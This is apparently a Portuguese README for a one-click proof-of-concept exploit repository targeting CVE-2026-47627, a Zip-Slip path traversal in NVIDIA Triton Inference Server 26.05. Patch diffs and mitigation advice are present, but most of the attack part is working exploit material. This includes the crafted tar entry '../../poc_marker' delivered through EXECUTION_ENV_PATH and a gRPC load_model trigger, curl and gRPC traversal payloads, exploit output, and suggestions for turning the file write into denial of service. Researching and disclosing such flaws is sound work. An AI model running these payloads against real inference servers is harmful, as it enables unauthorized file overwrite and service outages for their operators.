
Prova de conceito de exploit para CVE-2026-47627, uma vulnerabilidade de path traversal no NVIDIA Triton Inference Server que leva à escrita arbitrária de arquivos via Zip-Slip. Inclui análise detalhada, ambiente de laboratório e scripts de exploit com um clique.
Writeup completo dos resultados da pesquisa & PoC neste repositório (imagem
nvcr.io/nvidia/tritonserver:26.05-py3/server v2.69.0). Repositório configurado para sempreexplicitpara que o PoC funcione sem restart via gRPC.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| Publicação | 2026-08-18 (NVD Aguardando Análise) |
| Boletim | NV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 CRÍTICO AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 Path Traversal |
| Afetado | 0.0-26.05 (server v2.69.0 / core r26.05) |
| Corrigido | 26.06 (server v2.70.0 / core r26.06) |
| Impacto | DoS (descrição da CNA) — esta pesquisa comprova escrita de arquivo fora de /models via Zip-Slip, que pode ser expandida para DoS/exaustão de recursos |
| Crédito | Martin Brodeur |
Nota honesta: A descrição da CNA é apenas
path traversal → DoSsem detalhes. Este writeup reconstrói a localização do bug via diffr26.05..r26.06e testes diretos no container26.05-py3.
Imagem: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)
Compose sempre explicit (já corrigido neste repositório):
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 também já estão explicit.
Modo Triton:
NONE (padrão upstream) → carrega uma vez na inicialização, POST /v2/repository/models/.../load → 503, precisa de restart para carregar novo modelo.POLL → verifica o repositório a cada segundo, carrega automaticamente, ainda bloqueia load explícito.EXPLICIT (este repositório) → não verifica, mas abre gRPC load_model / POST /load → PoC sem restart via gRPC.Portas:
| 8000 | HTTP REST | v2/health, v2/models, v2/repository |
| 8001 | gRPC | RepositoryModelLoad, ModelInfer |
| 8002 | Métricas | Prometheus |
Modelo inicial:
model_repository/
├── echo_python/ (python backend, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
Quickstart:
docker compose up -d
docker compose logs -f
py scripts/client_test.py # health + infer identity_onnx
User input (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► cek "child di dalam parent?" ──► buka file
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + '/' check FileExists / extract
join sem canonicalize ou verificação rfind(parent,0)==0 incorreta (correspondência parcial /models vs /models_evil), então ../ pode escapar./dev/zero, /proc/self/mem, ou um tar contendo ../../ que sobrescreve arquivos do sistema → hang / OOM / crash.Três perguntas de pesquisa (do relatório inicial):
model_name no gRPC RepositoryModelLoad, EXECUTION_ENV_PATH tar entry, override file:, TRITON_BATCH_STRATEGY_PATH.posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.DoS via exaustão de recursos / hang. Neste repositório é comprovada escrita de arquivo em /tmp/poc_marker.Repositório core (r26.05..r26.06):
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — correção dcb315d + 72f3d9b:
// VULNERÁVEL (r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → bug de correspondência parcial: prefixo "/models" de "/models_evil/file" considerado interno
// CORRIGIDO (r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → deve ter '/' após o prefixo, "/models_evil" agora corretamente fora
Usado em src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) e src/model_repository_manager/model_repository_manager.cc:162 (file:).
src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (março de 2026, já em 26.05 mas reforçado em 26.06):
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
Isso faz gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT em 26.05 (já bloqueado). Mas %2f (/ codificado) passa porque não é / literal → 500 poll literal.
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 teste zipslip_test.py:
Tar extraído sem verificação de .. / caminho absoluto. Entry ../../poc_marker de /models/poc_exploit/malicious_env.tar.gz é extraído para /tmp/poc_marker (fora do diretório do modelo). Correção em 26.06: usa ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + verificação IsChildPathEscapingParentPath.
Repositório server (r26.05..r26.06): apenas sagemaker_server.cc:1027 (verificação RE2::FullMatch) + http_server.cc:2440 (atoi→stoi), não é o caminho deste CVE.
Conclusão: O caminho model_name via HTTP/gRPC já estava bloqueado em 26.05 pelo ValidateModelName, mas o Zip-Slip do tar não — é isso que o PoC deste repositório explora.
| Vetor | Payload | Resultado 26.05 | Atinge? |
|---|---|---|---|
HTTP raw ../ | POST /v2/repository/models/../tmp/pwn/load | 404 (normalização de rota) | ❌ |
HTTP codificado ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 literal, poll /models/..%2ftmp%2fpwn não existe | ❌ (500 falso, não é traversal) |
gRPC raw ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌ (já bloqueado) |
gRPC codificado ..%2f | load_model('..%2ftmp%2fpwn') | 500 poll literal | ❌ |
Override file: ../models_evil | file:../models_evil/pwn | 400/500 dependendo da correspondência parcial | ⚠️ (depende do bug IsChildPathEscapingParentPath, mas já bloqueado pelo ValidateModelName para model_name) |
EXECUTION_ENV_PATH tar ../../poc_marker | malicious_env.tar.gz entry ../../poc_marker | 200 + arquivo em /tmp/poc_marker | ✅ VULNERÁVEL |
A analogia
500 vs 400no writeup antigo estava errada:500= arquivo não existe (porta não existe),400= rejeitado pela validação (porta trancada). Nenhum dos dois entra. Apenas200+ arquivo em/tmpé evidência.
Ideia: O parâmetro EXECUTION_ENV_PATH do backend Python aponta para $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. Ao executar load_model('poc_exploit'), o backend pb_env.cc:292 extrai o tar sem sanitização. O entry ../../poc_marker escapa de .../poc_exploit/ para /tmp/poc_marker.
Etapas do PoC (automatizado em scripts/exploit.py:28 & exploit.ps1:20):
echo_python → poc_exploit (scripts/exploit.py:35)config.pbtxt (scripts/exploit.py:40):
parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
scripts/exploit.py:44):
TarInfo(name='../../poc_marker', size=6, mode=0o644) # → /tmp/poc_marker
TarInfo(name='bin/activate', mode=0o755)
gRPC load_model('poc_exploit') (scripts/exploit.py:60) — sem restart porque está explicit.docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)Pré-requisitos: Docker, imagem 26.05-py3 já com docker compose up -d (repositório já está explicit).
Python (sem restart, via gRPC):
py scripts/exploit.py # auto-detect explicit → gRPC
py scripts/exploit.py --keep # manter artefato para verificação manual
# verificação manual: docker exec tritonserver-test cat /tmp/poc_marker
# limpeza manual: docker exec tritonserver-test rm -f /tmp/poc_marker
PowerShell:
powershell -ExecutionPolicy Bypass -File exploit.ps1
powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
Retornar ao MODE_NONE (se quiser o padrão upstream):
# editar docker-compose.yml:12 remover --model-control-mode=explicit
docker compose up -d --force-recreate
Teste de bloqueio (deve retornar 400/404/500, não 200):
py scripts/test_http_grpc_blocked.py # existia no repositório antigo, agora removido — usar o log do exploit.py
# ou manual:
curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}" # 500
py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')" # 400
Vulnerável (26.05) — saída do exploit.py:
[*] Triggering exploit via gRPC load (no restart)...
[+] gRPC load sent
[+] VULNERABLE: /tmp/poc_marker exists outside /models
cat: pwned
[+] Exploit succeeded — file write outside repository confirmed
Verificação:
docker exec tritonserver-test ls -l /tmp/poc_marker # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
docker exec tritonserver-test cat /tmp/poc_marker # pwned
docker logs tritonserver-test --tail 20 | grep Extracting # Extracting Python execution env .../malicious_env.tar.gz
Corrigido (26.06) — esperado:
[-] Not vulnerable: /tmp/poc_marker not found
# log: Path contains '..' (ou Path is absolute)
HTTP/gRPC .. deve retornar 400, não 500:
# 26.05 gRPC raw ../ → 400 INVALID_ARGUMENT (já bloqueado pelo ValidateModelName)
# 26.05 gRPC ..%2f → 500 poll literal (ignora validação mas não é traversal real)
# 26.06 ambos → 400
A CNA escreve DoS, mas este Zip-Slip pode causar sobrescrita de arquivos → DoS:
model.py / config.pbtxt de outro modelo → modelo falha ao carregar → 503bin/activate grande / FIFO /tmp/fifo → hang da thread pb_env.cc → UNAVAILABLEload_model com tar ../../dev/zero (infinito) → OOMEste repositório foca em escrita de arquivo como evidência de traversal; o DoS pode ser expandido com tar contendo 1/model.py com loop infinito.
26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.8000/8001 à internet (reverse proxy + autenticação).. & %2f na URL & EXECUTION_ENV_PATHEXECUTION_ENV_PATH do backend Python se não for necessáriodocker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f".
├── model_repository/
│ ├── echo_python/ # exemplo de backend python
│ └── identity_onnx/ # exemplo onnxruntime
├── scripts/
│ ├── exploit.py:1 # PoC principal (Python, oneclick, gRPC, sem restart)
│ ├── generate_model.py # regenerar identity_onnx
│ └── client_test.py # teste de health + infer
├── exploit.ps1:1 # PoC principal (PowerShell, oneclick)
├── docker-compose.yml:12 # sempre explicit
├── run_triton.bat:10 / .ps1:11 / .sh:12 # sempre explicit
├── requirements.txt # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
└── README.md # este writeup
Removidos: exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.
https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (Aguardando Análise)dcb315d (Modernize Child Path), 72f3d9b (teste de child path), e520f8c7 (teste zipslip), 50830ba/66f09f8 (ValidateModelName)v2.70.0 (690f9dd)| Data | Evento |
|---|---|
| 2026-03-03 | core#472 ValidateModelName |
| 2026-03-16 | core#481 POSIX trim |
| 2026-05-18 | core#497 IsChildPathEscapingParentPath |
| 2026-06-02 | server#8857 teste zipslip |
| 2026-06-26 | 26.06 / v2.70.0 lançamento do patch |
| 2026-08-18 | Publicação do CVE |
| 2026-09-02 | PoC deste repositório verificado em 26.05-py3 → VULNERABLE |
Este PoC é para educação & laboratório fechado. Não exponha 8000/8001 sem autenticação. Sempre execute exploit.py --keep e depois docker exec tritonserver-test rm -f /tmp/poc_marker & Remove-Item -Recurse model_repository/poc_exploit após a demonstração.